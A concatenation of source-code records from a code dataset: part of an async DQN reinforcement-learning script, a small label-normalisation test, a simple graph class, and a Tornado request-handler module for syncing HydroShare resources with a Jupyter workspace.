x_batch.append(x_t)\r\n\r\n state = newState\r\n\r\n T += 1\r\n t += 1\r\n\r\n if T % iTarget == 0:\r\n countEpisodeTarget = 0.\r\n theta_minus=theta\r\n print(epsilon)\r\n if ((thread_id==saveCountId)&(T%100==0)):\r\n target_q_network.set_weights(theta_minus)\r\n checkpoint += 1\r\n target_q_network.save_weights('temp/model-%d.h5' % (checkpoint,), overwrite=True)\r\n print('checkpoint')\r\n epsilon *= np.exp(-0.00001 + np.random.uniform(-0.1, 0.1))\r\n epsilon = max(0,epsilon)\r\n epsilon = min(1,epsilon)\r\n\r\n if (t % iAsyncUpdate == 0) or done:\r\n q_network.set_weights(theta)\r\n q_network.train_on_batch(np.array(x_batch).reshape((-1, len(x_t))), np.array(y_batch).reshape((-1, 1)))\r\n theta=q_network.get_weights()\r\n # Clear gradients\r\n y_batch = []\r\n x_batch = []\r\n if thread_id == saveCountId:\r\n saveCountEpisodes.close()\r\n env.close()\r\n if thread_id == saveCountId:\r\n gym.upload('/tmp/' + env_name + '/' + str(thread_id), api_key=my_api)\r\n\r\ndef main():\r\n\tthreads = [threading.Thread(target=onestepdqlearn,args=(thread_id,listOfAsyncTimes[thread_id])) for thread_id in range(cpu_count())]\r\n\tfor thr in threads:\r\n\t\tthr.start()\r\n\tfor thr in threads:\r\n\t\tthr.join()\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n","sub_path":"multithreading/1_step_async_DQN.py","file_name":"1_step_async_DQN.py","file_ext":"py","file_size_in_byte":5894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"232088291","text":"from milk.supervised.classifier import normaliselabels\nimport numpy as np\n\ndef test_normaliselabels():\n np.random.seed(22)\n labels = np.zeros(120, np.uint8)\n labels[40:] += 1\n labels[65:] += 1\n reorder = np.argsort(np.random.rand(len(labels)))\n labels = labels[reorder]\n labels2,names = normaliselabels(labels)\n for new_n,old_n in enumerate(names):\n assert np.all( (labels == old_n) == (labels2 == new_n) )\n\n","sub_path":"milk/tests/test_normaliselabels.py","file_name":"test_normaliselabels.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18858109","text":"\r\n\r\n\r\n\r\n\r\nclass Vertex:\r\n\r\n def __init__(self, val):\r\n self.Value = val\r\n\r\n\r\nclass SimpleGraph:\r\n\r\n def __init__(self, size):\r\n self.max_vertex = size\r\n self.m_adjacency = [[0] * size for _ in range(size)]\r\n self.vertex = []\r\n for x in range(size):\r\n self.vertex.append(Vertex(None))\r\n\r\n def AddVertex(self, v):\r\n\r\n\r\n if v < self.max_vertex and self.vertex[v].Value == None:\r\n self.vertex[v].Value = v\r\n # ваш код добавления новой вершины\r\n # с значением value\r\n # в свободное место массива vertex\r\n\r\n\r\n # здесь и далее, параметры v -- индекс вершины\r\n\r\n # в списке vertex\r\n def RemoveVertex(self, v):\r\n # ваш код удаления вершины со всеми её рёбрами\r\n if self.vertex[v].Value == None:\r\n return\r\n for x in self.vertex:\r\n if x.Value is not None:\r\n self.RemoveEdge(v,self.vertex.index(x))\r\n self.vertex[v].Value= None\r\n\r\n\r\n\r\n def IsEdge(self, v1, v2):\r\n # True если есть ребро между вершинами v1 и v2\r\n if self.vertex[v1].Value is not None and self.vertex[v1].Value is not None:\r\n if self.m_adjacency[v1][v2] == 1 and self.m_adjacency[v2][v1] == 1:\r\n return True\r\n return False\r\n\r\n def AddEdge(self, v1, v2):\r\n if self.vertex[v1].Value is not None and self.vertex[v1].Value is not None:\r\n self.m_adjacency[v1][v2] = 1\r\n self.m_adjacency[v2][v1] = 1\r\n # добавление ребра между вершинами v1 и v2\r\n\r\n\r\n def RemoveEdge(self, v1, v2):\r\n # удаление ребра между вершинами v1 и v2\r\n if self.vertex[v1].Value is not None and self.vertex[v1].Value is not None:\r\n self.m_adjacency[v1][v2] = 0\r\n self.m_adjacency[v2][v1] = 0\r\n\r\n def WeakVertices(self):\r\n res = []\r\n for x in range(len(self.m_adjacency)):\r\n isWeak = True\r\n for y in [ v for v in range(len(self.m_adjacency[x])) if self.m_adjacency[x][v]==1]:\r\n for z in [ v for v in range(len(self.m_adjacency[x])) if self.m_adjacency[x][v]==1]:\r\n if z != y and z!=x and y!=x and self.IsEdge(z,y) == True:\r\n isWeak = False\r\n if isWeak == True:\r\n res.append(self.vertex[x])\r\n return res\r\n\r\n","sub_path":"Graph/grafs.py","file_name":"grafs.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"627235453","text":"\"\"\"\nThis file sets up the hydroshare server for communicating with the\nhydroshare gui frontend.\n\nAuthor: 2019-20 CUAHSI Olin SCOPE Team\nVicky McDermott, Kyle Combes, Emily Lepert, and Charlie Weiss\n\"\"\"\n# !/usr/bin/python\n# -*- coding: utf-8 -*-\nimport itertools\nimport json\nimport logging\nimport os\nimport signal\nimport sys\nfrom pathlib import Path\n\nimport requests\nimport datetime\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nfrom hs_restclient import exceptions as HSExceptions\nfrom notebook.base.handlers import IPythonHandler\nfrom notebook.utils import url_path_join\n\nfrom hydroshare_jupyter_sync.config_reader_writer import (get_config_values,\n set_config_values)\nfrom hydroshare_jupyter_sync.credential_reader_writer import credential_path\nfrom hydroshare_jupyter_sync.index_html import get_index_html\nfrom hydroshare_jupyter_sync.resource_hydroshare_data import (\n ResourceHydroShareData, HS_PREFIX)\nfrom hydroshare_jupyter_sync.resource_local_data import (ResourceLocalData,\n LOCAL_PREFIX)\nfrom hydroshare_jupyter_sync.resource_manager import (\n ResourceManager,\n HYDROSHARE_AUTHENTICATION_ERROR,\n)\n\n# Global resource handler variable\nresource_manager = ResourceManager()\n\nWORKSPACE_FILES_ERROR = {\n 'type': 'WorkspaceFileError',\n 'message': 'HydroShare files not present in Workspace',\n}\n\nassets_path = Path(__file__).absolute().parent / 'assets'\ndata_path = Path.cwd() / 'hydroshare' / 'local_hs_resources'\nisFile = False\n# If we're running this file directly with Python, we'll be firing up a full\n# Tornado web server, so use Tornado's RequestHandler as our base class.\n# Otherwise (i.e. if this is being run by a Jupyter notebook server) we want to\n# use IPythonHandler as our base class. (See the code at the bottom of this\n# file for the server launching.)\nBaseHandler = (tornado.web.RequestHandler\n if __name__ == '__main__' else IPythonHandler)\n\n\nclass BaseRequestHandler(BaseHandler):\n \"\"\" Sets the headers for all the request handlers that extend\n this class \"\"\"\n\n def set_default_headers(self):\n # TODO: change from * (any server) to our specific url (https://github.com/hydroshare/hydroshare_jupyter_sync/issues/40)\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with, \"\n \"content-type, x-xsrftoken\")\n\n def options(self, _=None):\n # web browsers make an OPTIONS request to check what methods (line 31)\n # are allowed at/for an endpoint.\n self.set_status(204) # No content\n self.finish()\n\n\nclass WebAppHandler(BaseRequestHandler):\n \"\"\" Serves up the HTML for the React web app \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', 'GET, OPTIONS')\n\n def get(self):\n running_in_dev_mode = __name__ == '__main__'\n self.write(get_index_html(running_in_dev_mode))\n\n\nclass LoginHandler(BaseRequestHandler):\n \"\"\" Handles authenticating the user with HydroShare \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'OPTIONS, POST,DELETE ')\n\n def delete(self):\n if os.path.isfile(credential_path):\n logging.info(\n 'Deleting the credential file which contains user information')\n os.remove(credential_path)\n resource_manager.hs_api_conn = None\n s = requests.Session()\n\n s.cookies.clear_session_cookies\n\n def post(self):\n isFile = False\n credentials = json.loads(self.request.body.decode('utf-8'))\n do_save = credentials.get('remember', False)\n user_info = resource_manager.authenticate(credentials['username'],\n credentials['password'],\n do_save)\n dirdetails = Path(Path.home() / 'hydroshare' / 'dirinfo.json')\n if dirdetails.exists():\n isFile = True\n\n self.write({\n 'success': user_info is not None,\n 'userInfo': user_info,\n 'isFile': isFile,\n })\n\n\nclass Localmd5Handler(BaseRequestHandler):\n \"\"\" Handles calculation of local md5 values \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'OPTIONS, POST,DELETE,GET ')\n\n def get(self, res_id):\n local_data = ResourceLocalData(res_id)\n\n local_data.get_md5(res_id)\n\n self.write({\n 'success': 'success',\n 'userInfo': '',\n })\n\n\nclass Hsmd5Handler(BaseRequestHandler):\n \"\"\" Handles calculation of local md5 values \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'OPTIONS, POST,DELETE,GET ')\n\n def get(self, res_id):\n diff_overall = True\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n self.write({'success': diff_overall})\n\n\nclass ResourcesRootHandler(BaseRequestHandler):\n \"\"\" Handles /resources. Gets a user's resources (with metadata) and\n creates new resources. \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', 'GET, OPTIONS, POST')\n\n def options(self, _=None):\n # web browsers make an OPTIONS request to check what methods (line 31)\n # are allowed at/for an endpoint.\n # We just need to respond with the header set on line 31.\n self.set_status(204) # No content\n self.finish()\n\n def get(self):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n resources, error = resource_manager.get_list_of_user_resources()\n archive_message = resource_manager.get_archive_message()\n\n self.write({\n 'resources': resources,\n 'archive_message': archive_message,\n 'success': error is None,\n 'error': error\n })\n\n def post(self):\n \"\"\"\n Makes a new resource with the bare minimum amount of information\n\n Expects body:\n {\"resource title\": string\n \"creators\": list of strings}\n \"\"\"\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n body = json.loads(self.request.body.decode('utf-8'))\n resource_title = body.get(\"title\")\n creators = body.get(\"creators\") # list of names (strings)\n abstract = body.get(\"abstract\")\n privacy = body.get(\"privacy\", 'Private') # Public or private\n\n if resource_title is None or creators is None:\n self.set_status(400)\n self.write({\n 'success': False,\n 'error': {\n 'type':\n 'InvalidRequest',\n 'message': ('The request body must specify '\n '\"title\" and \"creators\".'),\n },\n })\n else:\n resource_id, error = resource_manager.create_HS_resource(\n resource_title, creators, abstract, privacy)\n self.write({\n 'resource_id': resource_id,\n 'success': error is None,\n 'error': error,\n })\n\n\nclass ResourceHandler(BaseRequestHandler):\n \"\"\" Handles resource-specific requests made to /resources/ \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', 'DELETE, OPTIONS')\n\n def delete(self, res_id):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n body = json.loads(self.request.body.decode('utf-8'))\n del_locally_only = body.get(\"locallyOnly\", True)\n error = resource_manager.delete_resource_locally(res_id)\n if not error and not del_locally_only:\n error = resource_manager.delete_resource_from_hs(res_id)\n\n self.write({\n 'success': error is None,\n 'error': error,\n })\n\n\nclass DirectorySelectorHandler(BaseRequestHandler):\n \"\"\" Handles downloading of hydroshare data in user selected directory \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'DELETE, OPTIONS, GET,POST')\n\n def post(self):\n returnValue = \"\"\n isFile = False\n dirpathinfo = json.loads(self.request.body.decode('utf-8'))\n directoryPath = dirpathinfo[\"dirpath\"]\n choice = dirpathinfo[\"choice\"]\n\n self.dirdetails = Path(Path.home() / 'hydroshare' / 'dirinfo.json')\n ##\n ##if not self.directoryPath.is_dir():\n # Let any exceptions that occur bubble up\n # self.dirdetails.mkdir(parents=True)\n\n # if self.dirdetails.is_dir():\n # isFile = True\n\n try:\n if choice == \"No\":\n hydroshare = 'hydroshare'\n returnValue = self.createDirectory(Path.home() / hydroshare)\n self.dirdetails.mkdir(parents=True)\n isFile = True\n\n elif choice == \"Yes\":\n dpath = Path(directoryPath)\n\n if not dpath.exists():\n returnValue = 'Directory path is not valid, please check if directory exists'\n\n elif os.access(dpath, os.W_OK):\n returnValue = self.createDirectory(dpath)\n self.dirdetails.mkdir(parents=True)\n isFile = True\n\n else:\n returnValue = \"Permission Denied\"\n except Exception as e:\n\n returnValue = 'Error while setting the file path '\n config = get_config_values(['dataPath'])\n if 'dataPath' in config:\n config_data_path = str(config['dataPath'])\n config_new_path = config_data_path.replace(str(Path.home()), '')\n\n notebook_url_path_prefix = url_path_join('/tree', config_new_path)\n if returnValue != \"\":\n self.write({\n 'error': returnValue,\n })\n else:\n self.write({\n 'success': \"Configuration saved successfully.\",\n 'isFile': isFile,\n 'configDataPath': notebook_url_path_prefix,\n })\n\n def createDirectory(self, defaultPath):\n returnValue = ''\n localhsResources = 'local_hs_resources'\n logpath = Path.home() / 'hydroshare' / 'sync.log'\n saved_successfully = set_config_values({\n \"dataPath\":\n str(defaultPath / localhsResources),\n \"logPath\":\n str(logpath)\n })\n if saved_successfully:\n\n resource_manager = ResourceManager()\n else:\n\n returnValue = 'Cannot set data Path values in config file'\n return returnValue\n\n\nclass ResourceLocalFilesRequestHandler(BaseRequestHandler):\n logging.info('Resource local Handler Class is called')\n \"\"\" Facilitates getting, deleting, and uploading to the files contained in\n a resource on the local disk \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', ('DELETE, GET,'\n 'OPTIONS, POST, PUT'))\n\n def get(self, res_id):\n\n # Handling authentication first to ensure local data if not present is downloaded from Hydroshare\n\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n local_data = ResourceLocalData(res_id)\n\n if not local_data.is_downloaded():\n resource_manager.save_resource_locally(res_id)\n self.write({\n 'readMe': local_data.get_readme(),\n 'rootDir': local_data.get_files_and_folders(),\n })\n\n # TODO: move some of the logic here outside this file and deduplicate\n # code (https://github.com/hydroshare/hydroshare_jupyter_sync/issues/41)\n def delete(self, res_id):\n body = json.loads(self.request.body.decode('utf-8'))\n file_and_folder_paths = body.get('files')\n if file_and_folder_paths is None:\n self.set_status(400) # Bad Request\n self.write('Could not find \"files\" in request body.')\n return\n\n local_folder = ResourceLocalData(res_id)\n success_count = 0\n failure_count = 0\n\n # Keep track of the folders that have been deleted so we don't try to\n # delete child files that have already\n # been deleted\n deleted_folders = []\n\n results = []\n for item_path in file_and_folder_paths:\n # Remove any leading /\n if item_path.startswith('/'):\n item_path = item_path[1:]\n try:\n for deleted_folder in deleted_folders:\n # Check if this file is in a folder that was deleted (a\n # slash is appended to ensure that a file in,\n # say, '/My data 2' is not skipped because '/My data' was\n # deleted)\n if item_path.startswith(deleted_folder + '/'):\n # We can skip deleting this file because it was already\n # deleted with its parent folder\n break\n else: # Only runs if the break statement above is never hit\n # (yes, the indentation is right here)\n # Try to delete this item\n deleted_type = local_folder.delete_file_or_folder(\n item_path)\n if deleted_type == 'folder':\n deleted_folders.append(item_path)\n success_count += 1\n results.append({'success': True})\n except Exception as e:\n logging.error(e)\n results.append({\n 'success': False,\n 'error': {\n 'type':\n 'UnknownError',\n 'message': (f'An unknown error occurred when '\n f'attempting to delete {item_path}.')\n }\n })\n failure_count += 1\n\n self.write({\n 'results': results,\n 'successCount': success_count,\n 'failureCount': failure_count,\n })\n\n def put(self, res_id):\n \"\"\" Creates a new file in the local copy of the resource\n\n :param res_id: the resource ID\n :type res_id: str\n \"\"\"\n body = json.loads(self.request.body.decode('utf-8'))\n item_type = body.get('type')\n name = body.get('name')\n error_msg = None\n if item_type is None or name is None:\n error_msg = ('Request must include both \"type\" and \"name\" '\n 'attributes.')\n if not error_msg and not (item_type == 'file'\n or item_type == 'folder'):\n error_msg = '\"type\" attribute must be either \"file\" or \"folder\".'\n if error_msg:\n self.set_status(400) # Bad Request\n self.write({\n 'success': False,\n 'error': {\n 'type': 'InvalidRequest',\n 'message': error_msg,\n },\n })\n return\n\n local_data = ResourceLocalData(res_id)\n if item_type == 'file':\n local_data.create_file(name)\n elif item_type == 'folder':\n local_data.create_local_folder(name)\n\n self.write({\n 'success': True,\n })\n\n def post(self, res_id):\n \"\"\" Uploads a file from the user's computer to the local filesystem\n\n :param res_id: the resource ID\n :type res_id: str\n \"\"\"\n local_data = ResourceLocalData(res_id)\n for field_name, files in self.request.files.items():\n for info in files:\n with open(str(local_data.data_path / info['filename']),\n \"wb\") as f:\n f.write(info['body'])\n self.write({\n 'success': True,\n })\n\n\nclass ResourceHydroShareFilesRequestHandler(BaseRequestHandler):\n \"\"\" Handles getting and deleting the files in a HydroShare resource \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', 'DELETE, GET, OPTIONS')\n\n def get(self, res_id):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n hs_data = ResourceHydroShareData(resource_manager.hs_api_conn, res_id)\n # Code for updating the latest files on Root Dir object\n\n # local_data = ResourceLocalData(res_id)\n\n hydroshare_data = hs_data.get_files()\n checkHydroShareSyncStatus(hydroshare_data, res_id, False)\n\n self.write({'rootDir': hydroshare_data})\n\n # TODO: Move the bulk of this function out of this file and\n # deduplicate code (https://github.com/hydroshare/hydroshare_jupyter_sync/issues/41)\n def delete(self, res_id):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n data = json.loads(self.request.body.decode('utf-8'))\n file_and_folder_paths = data.get('files')\n if file_and_folder_paths is None:\n self.set_status(400) # Bad Request\n self.write('Could not find \"files\" in request body.')\n return\n\n hs_data = ResourceHydroShareData(resource_manager.hs_api_conn, res_id)\n success_count = 0\n failure_count = 0\n\n # Keep track of the folders that have been deleted so we don't try to\n # delete child files that have already\n # been deleted\n deleted_folders = []\n\n results = []\n for item_path in file_and_folder_paths:\n # Remove any leading /\n if item_path.startswith('/'):\n item_path = item_path[1:]\n try:\n for deleted_folder in deleted_folders:\n # Check if this file is in a folder that was deleted (a\n # slash is appended to ensure that a file in,\n # say, '/My data 2' is not skipped because '/My data'\n # was deleted)\n if item_path.startswith(deleted_folder + '/'):\n # We can skip deleting this file because it was already\n # deleted with its parent folder\n break\n else: # Only runs if the break statement above is never hit\n # (yes, the indentation is right here)\n # Try to delete this item\n deleted_type = hs_data.delete_file_or_folder(item_path)\n if deleted_type == 'folder':\n deleted_folders.append(item_path)\n success_count += 1\n results.append({'success': True})\n except HSExceptions.HydroShareNotFound:\n results.append({\n 'success': False,\n 'error': {\n 'type': 'NotFoundError',\n 'message': f'Could not find {item_path} in '\n 'HydroShare.',\n },\n })\n except HSExceptions.HydroShareNotAuthorized:\n results.append({\n 'success': False,\n 'error': {\n 'type':\n 'NotAuthorizedError',\n 'message': (f'Could not delete {item_path}. Do you '\n 'have write access to the resource?'),\n },\n })\n except Exception as e:\n logging.error(e)\n results.append({\n 'success': False,\n 'error': {\n 'type':\n 'UnknownError',\n 'message': (f'An unknown error occurred when'\n ' attempting to delete {item_path}.')\n }\n })\n failure_count += 1\n\n self.write({\n 'results': results,\n 'successCount': success_count,\n 'failureCount': failure_count,\n })\n\n\nMOVE = 'move'\nCOPY = 'copy'\n\n\nclass DownloadHydroShareFilesRequestHandler(BaseRequestHandler):\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'DELETE, GET, OPTIONS, POST')\n\n def post(self, res_id):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n hs_data = ResourceHydroShareData(resource_manager.hs_api_conn, res_id)\n data = json.loads(self.request.body.decode('utf-8'))\n\n file_and_folder_paths = data.get('files')\n filesChanged = 'sync'\n\n if file_and_folder_paths is None:\n self.set_status(400) # Bad Request\n self.write('Could not find \"files\" in request body.')\n return\n for item_path in file_and_folder_paths:\n # Remove any leading /\n if item_path.startswith('/'):\n item_path = item_path[1:]\n\n local_data = ResourceLocalData(res_id)\n # resource_manager.save_file_locally(res_id, item_path)\n hs_data.download_to_local(local_data, Path(item_path), Path(item_path))\n\n self.write({\n 'readMe': local_data.get_readme(),\n 'rootDir': local_data.get_files_and_folders(),\n })\n\n\ndef checkFileSyncStatus(temporaryRoot, res_id):\n serverIsLatest = 'HydroShare is latest'\n localIsLatest = 'Local is Latest'\n localSyncServer = 'In Sync'\n isfileExists = ''\n local_data = ResourceLocalData(res_id)\n hs_data = ResourceHydroShareData(resource_manager.hs_api_conn, res_id)\n # find where are the files and its properties in temporaryRoot\n contents = temporaryRoot['contents']\n for file in contents:\n\n modified_time_local = file['modifiedTime']\n checksum_local = file[\"checksum\"]\n\n checksum_hs, modified_time_hs = hs_data.get_modified_time_hs(\n file['name'])\n\n if checksum_hs == None or modified_time_hs == None:\n syncStatus = \" \"\n isfileExists = \"File doesn't exist in HydroShare\"\n file.update({\n \"fileChanged\": isfileExists,\n \"syncStatus\": syncStatus\n })\n else:\n if checksum_local != checksum_hs:\n syncStatus = \"Out of Sync\"\n if modified_time_hs < modified_time_local:\n # add fileChanged value\n file.update({\n \"fileChanged\": localIsLatest,\n \"syncStatus\": syncStatus\n })\n\n elif modified_time_hs > modified_time_local:\n file.update({\n \"fileChanged\": serverIsLatest,\n \"syncStatus\": syncStatus\n })\n\n elif checksum_local == checksum_hs:\n syncStatus = \"In Sync\"\n file.update({\n \"fileChanged\": \"Local and HydroShare are synced\",\n \"syncStatus\": syncStatus\n })\n\n temporaryRoot = sorted(contents, key=lambda x: x['syncStatus'] == ' ')\n\n\ndef checkHydroShareSyncStatus(local_or_hs_file_data, res_id, is_local_data):\n serverIsLatest = 'HydroShare is latest'\n localIsLatest = 'Local is Latest'\n localSyncServer = 'In Sync'\n isFileExist = ''\n\n \"\"\"\n if its localdata then get hydroshare data for the res_id\n else if hydrosharedata then get local data for the res_id\n \"\"\"\n if is_local_data:\n data_to_compare = ResourceHydroShareData(resource_manager.hs_api_conn, res_id)\n else:\n data_to_compare = ResourceLocalData(res_id)\n\n data_to_check_sync_status = local_or_hs_file_data['contents']\n\n for data in data_to_check_sync_status:\n addParameters(data, data_to_compare, localIsLatest, serverIsLatest, res_id, is_local_data)\n\n\ndef addParameters(data, data_to_compare, localIsLatest, serverIsLatest, res_id, is_local_data):\n # First iterate through folders, and then recrusively call the same method for each file.\n if data['type'] == 'folder':\n for k, v in data.items():\n if k == 'contents':\n for j in v:\n addParameters(j, data_to_compare, localIsLatest, serverIsLatest, res_id, is_local_data)\n else:\n \"\"\"\n TODO: Soumya \n If checksum present for \n local file - then local file exist\n hydroshare file - then file exist in Hydroshare server\n\n If checksum matches\n Then both files are in sync\n Else\n If they are not in sync, then check their last update time and identify which is latest.\n\n Sync status is dependent upon checksum. So, if checksum is present for both, then the file exist in both HS and local.\n if local file doesnt have checksum the file is no\n\n \"\"\"\n # Identify if its Hydroshare file or local file\n if data['path'].startswith('hs'):\n file_name = data['path'][4:]\n else:\n file_name = data['path'][7:]\n\n # Get checksum for both Hydroshare and local files\n\n if is_local_data:\n item_path = str(ResourceLocalData(res_id).data_path) + '/' + file_name\n checksum_local = ResourceLocalData(res_id).get_md5_files(item_path)\n checksum_hs = data_to_compare.checksum_hs(file_name.partition('.')[0], file_name.partition('.')[2])\n modified_time_local = str(datetime.datetime.fromtimestamp(Path(item_path).stat().st_mtime))\n modified_time_hs = data_to_compare.modified_time_hs(file_name.partition('.')[0], file_name.partition('.')[2])\n\n else:\n item_path = str(data_to_compare.data_path) + '/' + file_name\n checksum_local = data_to_compare.get_md5_files(item_path)\n modified_time_local = None\n if Path(item_path).exists():\n modified_time_local = str(datetime.datetime.fromtimestamp(Path(item_path).stat().st_mtime))\n checksum_hs = data['checksum']\n modified_time_hs = data['modifiedTime']\n\n syncStatus = \" \"\n\n if checksum_local is None:\n isFileExist = \"File doesn't exist in Local System\"\n data.update({\"fileChanged\": isFileExist, \"syncStatus\": syncStatus})\n elif checksum_hs is None:\n isfileExists = \"File doesn't exist in HydroShare Server\"\n data.update({\"fileChanged\": isfileExists, \"syncStatus\": syncStatus})\n else:\n\n if checksum_local != checksum_hs:\n syncStatus = 'Out of Sync'\n if modified_time_hs < modified_time_local:\n # add fileChanged value\n data.update({\"fileChanged\": localIsLatest, \"syncStatus\": syncStatus})\n elif modified_time_hs > modified_time_local:\n data.update({\"fileChanged\": serverIsLatest, \"syncStatus\": syncStatus})\n\n else:\n syncStatus = 'In Sync'\n data.update({\"fileChanged\": \"Local and HydroShare are synced\", \"syncStatus\": syncStatus})\n\n\nclass CheckSyncStatusFilesRequestHandler(BaseRequestHandler):\n filesChanged = 'sync'\n modified_time_local = ''\n modified_time_hs = ''\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'DELETE, GET, OPTIONS, POST')\n\n def post(self, res_id):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n\n data = json.loads(self.request.body.decode('utf-8'))\n\n file_and_folder_paths = data.get('files')\n\n myList = []\n\n if file_and_folder_paths is None:\n self.set_status(400) # Bad Request\n self.write('Could not find \"files\" in request body.')\n return\n for item_path in file_and_folder_paths:\n # file_path = item_path\n # Remove any leading /\n if item_path.startswith('/'):\n file_name = item_path[1:]\n\n local_data = ResourceLocalData(res_id)\n\n CheckSyncStatusFilesRequestHandler.modified_time_local = local_data.get_md5_files(\n file_name)\n\n # appending local modified time to list\n hs_data = ResourceHydroShareData(resource_manager.hs_api_conn,\n res_id)\n CheckSyncStatusFilesRequestHandler.modified_time_hs = hs_data.get_md5_files(\n res_id, file_name)\n\n if CheckSyncStatusFilesRequestHandler.modified_time_hs < CheckSyncStatusFilesRequestHandler.modified_time_local:\n\n CheckSyncStatusFilesRequestHandler.filesChanged = 'local'\n\n myDict = {\n 'resourceId': res_id,\n 'filesChanged':\n CheckSyncStatusFilesRequestHandler.filesChanged,\n 'modified_time_local':\n CheckSyncStatusFilesRequestHandler.modified_time_local,\n 'file_name': file_name,\n 'file_path': item_path\n }\n myList.append(myDict)\n myJson = json.dumps(myList)\n\n elif CheckSyncStatusFilesRequestHandler.modified_time_hs > CheckSyncStatusFilesRequestHandler.modified_time_local:\n\n myDict = {\n 'resourceId': res_id,\n 'filesChanged':\n CheckSyncStatusFilesRequestHandler.filesChanged,\n 'modified_time_local':\n CheckSyncStatusFilesRequestHandler.modified_time_hs,\n 'file_name': file_name,\n 'file_path': item_path\n }\n myList.append(myDict)\n myJson = json.dumps(myList)\n\n temporaryRoot = local_data.get_files_and_folders()\n\n self.write({\n 'readMe': local_data.get_readme(),\n 'rootDir': temporaryRoot,\n 'myJson': myJson\n })\n\n\nclass DownloadedLocalFilesRequestHandler(BaseRequestHandler):\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods',\n 'DELETE, GET, OPTIONS, POST')\n\n def get(self, res_id):\n if not resource_manager.is_authenticated():\n self.write({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n return\n local_data = ResourceLocalData(res_id)\n if not local_data.is_downloaded():\n self.write({\n 'success': False,\n 'error': WORKSPACE_FILES_ERROR,\n # 'error' : 'HydroShare files not present in Workspace',\n })\n return\n else:\n local_file_data = local_data.get_files_and_folders()\n\n # checkFileSyncStatus(temporaryRoot, res_id)\n checkHydroShareSyncStatus(local_file_data, res_id, True)\n self.write({\n 'readMe': local_data.get_readme(),\n 'rootDir': local_file_data,\n })\n\n\nclass MoveCopyFiles(BaseRequestHandler):\n \"\"\" Handles moving (or renaming) files within the local filesystem,\n on HydroShare, and between the two. \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', 'PATCH, OPTIONS')\n\n def patch(self, res_id):\n body = json.loads(self.request.body.decode('utf-8'))\n local_data = ResourceLocalData(res_id)\n hs_data = ResourceHydroShareData(resource_manager.hs_api_conn, res_id)\n file_operations = body['operations']\n\n results = []\n success_count = 0\n failure_count = 0\n\n for operation in file_operations:\n method = operation['method'] # 'copy' or 'move'\n src_uri = operation['source']\n dest_uri = operation['destination']\n\n # Split paths into filesystem prefix ('hs' or 'local') and path\n # relative to the resource root on\n # that filesystem\n src_fs, src_path = src_uri.split(':')\n dest_fs, dest_path = dest_uri.split(':')\n\n # If this operation involves HydroShare, make sure we're\n # authenticated\n if ((src_path == HS_PREFIX or dest_fs == HS_PREFIX)\n and not resource_manager.is_authenticated()):\n results.append({\n 'success': False,\n 'error': HYDROSHARE_AUTHENTICATION_ERROR,\n })\n failure_count += 1\n continue\n\n # Remove the leading forward slashes\n src_path = src_path[1:]\n dest_path = dest_path[1:]\n\n # Exactly what operation we perform depends on where the source\n # and destination files/folders are\n # Move/copy within HydroShare\n if src_fs == HS_PREFIX and dest_fs == HS_PREFIX:\n if method == MOVE: # Move or rename\n try:\n hs_data.rename_or_move_file(Path(src_path),\n Path(dest_path))\n 